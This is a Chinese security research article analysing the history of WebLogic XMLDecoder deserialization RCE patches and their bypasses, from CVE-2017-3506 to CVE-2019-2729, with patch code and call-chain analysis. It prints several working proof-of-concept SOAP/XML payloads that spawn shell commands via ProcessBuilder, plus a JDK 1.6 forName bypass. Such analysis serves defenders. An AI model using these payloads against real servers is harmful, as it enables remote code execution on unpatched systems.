从CVE-2019-2729谈Weblogic XML RCE的绕过史

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*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担

从 CVE-2017-3506 为起点至今，weblogic 接二连三的吧爆出了大量的反序列化漏洞，而这些反序列化漏洞的很大一部分，都是围绕着 XMLDecoder 的补丁与补丁的绕过展开的，所以笔者以 CVE-2017-3506 为起点，到近期的 CVE-2019-2729 来谈一谈这两年 weblogic 在 XMLDecoder 上的缝缝补补。

认识 XMLDecoder

首先去看一下 XMLDecoder 的官方文档，如下：

XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档，用途类似于 ObjectInputStream。例如，用户可以使用以下代码片段来读取以 XML 文档形式（通过 XMLEncoder 类写入）定义的第一个对象：

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));
Object result = d.readObject();
d.close();

作为一名 java 反序列化的研究人员，看到 readObject() 函数就应该带有一丝兴奋，至少代表我们找到入口了。

先不去管在 weblogic 上的利用，我们先构造一个特殊的 poc.xml 文件，让 XMLDecoder 去解析一下，看一下流程

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>ls</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

再写一个简单的利用 XMLDecoder 解析 xml 文件的 demo，

import java.beans.XMLDecoder;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException, InterruptedException {

        File file = new File("poc.xml");

        XMLDecoder xd = null;

        try {

            xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));

        } catch (Exception e) {

            e.printStackTrace();

        }

        Object s2 = xd.readObject();

        xd.close();



    }

}

因为会触发命令执行，所以先直接在 ProcessBuilder 的 start 函数上打上断点，看一下调用栈，

我们关注的重点在于从 xml 到 ProcessBuilder 类被实例化的过程，所以去跟进一下 DocumentHandler 类，我们去看几个核心函数，

首先看到了构造函数，看一看到为不同的标签定义了不同的 Handler，

再看一下 startElement 函数，它用来实例化对应的 Element，并给当前 handler 设置 Owner 和 Parent，关于 Owner 和 Parent，直接引用 @fnmsd 写的内容：

parent

最外层标签的 ElementHandler 的 parent 为 null，而后依次为上一级标签对应的 ElementHandler

owner

ElementHandler: 固定 owner 为所属 DocumentHandler 对象。

DocumentHandler: owner 固定为所属 XMLDecoder 对象。

然后看一下 endElement 函数，

他会直接调用对应的 ElementHandler 的 endElement 函数，代码如下，

接下来一连串的 Handler 的 getValueObject 调用之后，到达了 ObjectElementHandler 的 getValueObject 函数，并在该函数内将我们标签内的值传给了 Expression 类，

在调用了 getValue 方法后，成功将 ProcessBuilder 类的实例返回，

接下来再返回给 VoidElementHandler 将 start 函数传过来，调用 start 函数，命令执行成功。

最后补上一张 @ fnmsd 给出的 XMLDecoder 解析 xml 的流程图以加深理解。

CVE-2017-3506

上一节已经可以看到，XMLDecoder 在解析 xml 的时候，通过构造特殊的 xml 文件是可以造成命令执行的，接下来我们就可以来看一下第一个 weblogic 由于 XMLDEcoder 导致的命令执行漏洞 CVE-2017-3506。

先上 POC，

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java>

                <object class="java.lang.ProcessBuilder">

                    <array class="java.lang.String" length="3">

                        <void index="0">

                            <string>/bin/bash</string>

                        </void>

                        <void index="1">

                            <string>-c</string>

                        </void>

                        <void index="2">

                            <string>
open /Applications/Calculator.app/</string>

                        </void>

                    </array>

                    <void method="start"/>

                </object>

            </java>

        </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

调用链我们只跟到 XMLDecoder.readObject()，因为剩下的都是上一节的内容了，

在 processRequest 函数中，会对传入的 payload 进行分割，把真正的 xml 交给 readHeaderOld 函数处理，

readHeaderOld 函数则是将真正的 xml 传给 XMLDecoder，并在后续的一连串调用中将 XMLDecoder 实例化调用其 readObject 函数，于是便造成了命令执行。

CVE-2017-10271

在 CVE-2017-3506 爆出后，我们去看一下官方的补丁，代码如下：

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
     } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

补丁非常的简单，一旦标签是 object，系统报错，于是立马出了第二版的 poc，CVE-2017-10271：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java>

                <void class="java.lang.ProcessBuilder">

                    <array class="java.lang.String" length="3">

                        <void index="0">

                            <string>/bin/bash</string>

                        </void>

                        <void index="1">

                            <string>-c</string>

                        </void>

                        <void index="2">

                            <string> open /Applications/Calculator.app/</string>

                        </void>

                    </array>

                    <void method="start"/>

                </void>

            </java>

        </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

乍一看这个 poc，简直和 CVE-2017-3506 一模一样，唯一得到区别就是

变成了

仅仅是类的标签类型由 object 变成了 void，我们去看一下 VoidElementHandler 的源码：

可以看到 VoidElementHandler 是 ObjectElementHandler 类的子类，这也就解释了为什么把 object 标签换成 Void 标签也同样可以造成命令执行。

CVE-2019-2725

时隔一年多，CVE-2019-2725 爆出，这次的漏洞是要分两块来看的，

1、新爆出的存在反序列化的组件_async

2、 CVE-2017-10271 的补丁被绕过

首先看第一点，在 ProcessBuilder 的 start 函数上打一个断点，先看一下 async 组件在处理 xml 时候的调用链（老规矩只追到 XMLDecoder.readObject 函数），

引用廖大神的分析思路，请求会经过 webservice 注册的 21 个 Handler 来处理，看一下 HandlerIterator 类，就能发现对应的 21 个 Handler，

21 个 Handler 里面 AsyncResponseHandler 应该是我们重点关注的那一个，跟进去看一下源码的 handleRequest 方法，

可以看到要想让程序往下走，必须保证 var2 有值，也就是 RelatesTo 有值，这也就是为什么 payload 里面有

<wsa:Action>xx</wsa:Action> 
<wsa:RelatesTo>xx</wsa:RelatesTo>

这两行的原因。

关于 WS-Addressing 的使用，也可以去参考官方文档（https://www.w3.org/Submission/ws-addressing/），有助于深刻理解。

走过各种 Handler 后来到 WorkAreaServerHandler，对 xml 进行了拆分，接下来的调用就和前面一样了（xml 交给 XMLDecoder，调用 readObject 方法），

分析完 async 组件后，就来到了另一个问题上，如何绕过 CVE-2017-10271 的补丁，老套路，我们先看一下补丁内容，

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            private int overallarraylength = 0;
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid element qName:object");
               } else if(qName.equalsIgnoreCase("new")) {
                  throw new IllegalStateException("Invalid element qName:new");
               } else if(qName.equalsIgnoreCase("method")) {
                  throw new IllegalStateException("Invalid element qName:method");
               } else {
                  if(qName.equalsIgnoreCase("void")) {
                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                        }
                     }
                  }
                  if(qName.equalsIgnoreCase("array")) {
                     String var9 = attributes.getValue("class");
                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                        throw new IllegalStateException("The value of class attribute is not valid for array element.");
                     }

这次的补丁内容我们文字化一下：

1、禁用 object、new、method 标签

2、如果使用 void 标签，只能有 index 属性

3、如果使用 array 标签，且标签使用的是 class 属性，则它的值只能是 byte

这次的补丁可以说是比上一次严格的多，前两点虽然很大程度上限制了我们不能随意生成对象，调用方法，但好在还有一个 class 标签可以使用，最关键的还在于第三点，它限制了我们的参数不能再是 String 类型，而只能是 byte 类型，所以我们的思路只能从这一点出发，整理一下思路，我们要寻找的是这样一个类：

1、他的成员变量是 byte 类型

2、在该类进行实例化的时候就能造成命令执行。

于是便有了 oracle.toplink.internal.sessions.UnitOfWorkChangeSet 来满足我们的需求。

看一下构造函数，该类会对传给它的 byte 值进行反序列化，可以看到这是一个标准的二次反序列化，于是满足二次反序列的 payload 应该都可以用，如 AbstractPlatformTransactionManager、7u21 等等。

具体 payload 如下:

<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">

                <void index="0">

                <byte>-84</byte>

                ...

                ...

            </array></void></class>

            </java>

        </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

关于二次反序列的原理不再一一分析，大佬们早已经给出了非常详尽的解释，有兴趣可以去廖大神的博客（http://xxlegend.com）学习一下，也可以选择读一下 ysoserial 的 7u21 模块代码就 ok。

针对此次漏洞，官方给出的修复补丁处理比较简单，禁用 class 标签。

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if (qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if (qName.equalsIgnoreCase("class")) {
               throw new IllegalStateException("Invalid element qName:class");
            } else if (qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if (qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if (qName.equalsIgnoreCase("void")) {
                  for(int i = 0; i < attributes.getLength(); ++i) {
                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
                     }
                  }
               }
               if (qName.equalsIgnoreCase("array")) {
                  String attClass = attributes.getValue("class");
                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
                  String lengthString = attributes.getValue("length");
                  if (lengthString != null) {
                     try {
                        int length = Integer.valueOf(lengthString);
                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed array length limitation");
                        }
                        this.overallarraylength += length;
                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                           throw new IllegalStateException("Exceed over all array limitation.");
                        }

不过 7u21 模块有一点要提一下，7u21 模块利用的最后会通过将 TemplatesImpl 对象的_bytecodes 变量动态生成为对象，于是该类的 static block 和构造函数便会自动执行，而这个类又是攻击者可以随便构造的，于是便造成了命令执行。

由于此次漏洞的 payload 是 byte 写的，而由于攻击利用类又是动态生成的，所以分析攻击者的代码是个比较麻烦的事情，所以下面给出如何将 payload 中攻击者代码还原出来的方法。

1、开启 weblogic 远程调试，并把断点打在 ProcessBuilder 类的 start 函数中（因为此时攻击类已经动态生成成功，但是没法直接在编译器里查看代码）

2、使用 jps -l 命令查看 weblogic 的 pid

3、运行 sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB 命令查看对应 PID 的内存，

4、搜索内存中的动态生成类，并生成 class 文件，反编译一下，就可以看到攻击者写的自定义类了。

CVE-2019-2729

最近网上又流传了 CVE-2019-2729 的 poc，如下：

<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">

    <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

            <java>

                <array method="forName">

                    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>

                    <void>

                        <array class="byte" length="3748">

                            ...

                        </array>

                    </void>

                </array>

            </java>

        </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

</soapenv:Envelope>

刚拿到 poc 的时候，看了一下思路，因为<class>标签被禁了，所以通过<array method=”forName”>来绕过补丁。思路是比较清晰的，通过 Class.forName(classname) 来取到我们想要的类，从而绕过 class 标签被禁的问题。

但刚看到这个 poc 的时候，我第一个疑问就是，array 居然可以使用 method 属性吗？所以立马去看了一下 ArrayElementHandler 类的内容，

只支持 length 标签，但是它是 NewElementHandler 的子类，那再去看看 NewElementHandler

支持 class 标签，但是它是 ElementHandler 的子类，再去看一下 ElementHandler

发现到最后也没找到它支持 method 属性。

马上去我自己的环境里面试一下，没法复现成功，一度以为这个 poc 是假的，但后来想了一下，我的环境里面只有 1.7 和 1.8 的 jdk，会不会是 jdk 版本太高了，立马去 1.6 试一下，果然复现成功，看来 1.6 的 XMLDecoder 的代码和 1.7\1.8 不太一样。

去跟进一下 jdk 1.6 的 XMLDecoder，根据原理去写一个简单一点的 poc.xml，测试 demo 继续使用第一章的就行

<?xml version="1.0" encoding="UTF-8"?>

<java>

    <array method="forName">

        <string>java.lang.ProcessBuilder</string>

        <void>

        <array class="java.lang.String" length="3">

            <void index="0">

                <string>/bin/bash</string>

            </void>

            <void index="1">

                <string>-c</string>

            </void>

            <void index="2">

                <string>open /Applications/Calculator.app/</string>

            </void>

        </array>

        <void method="start" />

        </void>

    </array>

</java>

发现 jdk1.6 的 XMLDecoder 代码简单很多，根本没有那么多的 ElementHandler，直接统一放在 ObjectHandler 的代码里面处理。

而对标签的处理，也可以说是非常的朴实无华了，看一下 startElement，

public void startElement(String var1, AttributeList var2) throws SAXException {

    ...
...
        String var8 = (String)var3.get("method");

        if (var8 == null && var6 == null) {

            var8 = "new";

        }



        var4.setMethodName(var8);

     ...
...

        } else if (var1 == "array") {

            var14 = (String)var3.get("class");

            Class var10 = var14 == null ? Object.class : this.classForName2(var14);

            var11 = (String)var3.get("length");

            if (var11 != null) {

                var4.setTarget(Array.class);

                var4.addArg(var10);

                var4.addArg(new Integer(var11));

            }

我这里只截取关键部分代码，首先可以看到代码根本不管你的标签是什么，只要有 methond 属性，那就算作你的方法名，并且如果你的标签是 array 标签，而有没有 class 属性，自动给你补一个 Class，完美契合需求，所以就可以直接通过 Class.forName 来取到我们需要的类了。

这样也就绕过了对 class 标签的过滤，不过只能在 1.6 的 jdk 利用。

思考与总结

根据近些年 weblogic 由于 XMLDecoder 导致的反序列漏洞的缝缝补补中，可以看到虽然绕过的 poc 层出不穷，但是利用的范围却越来越窄，从一开始的所有 jdk 通用，到 7u21 以下可以利用成功，再到最近的绕过已经只能在 1.6 利用成功，可以看到，保持 jdk 版本的高版本可以有效的防范 java 反序列化攻击。与此同时，对于基本用不到的 weblogic 组件，还是能删就删为好。

引用

http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/

https://blog.csdn.net/fnmsd/article/details/89889144

http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/

*本文作者：平安银行应用安全团队-Glassy，转载请注明来自FreeBuf.COM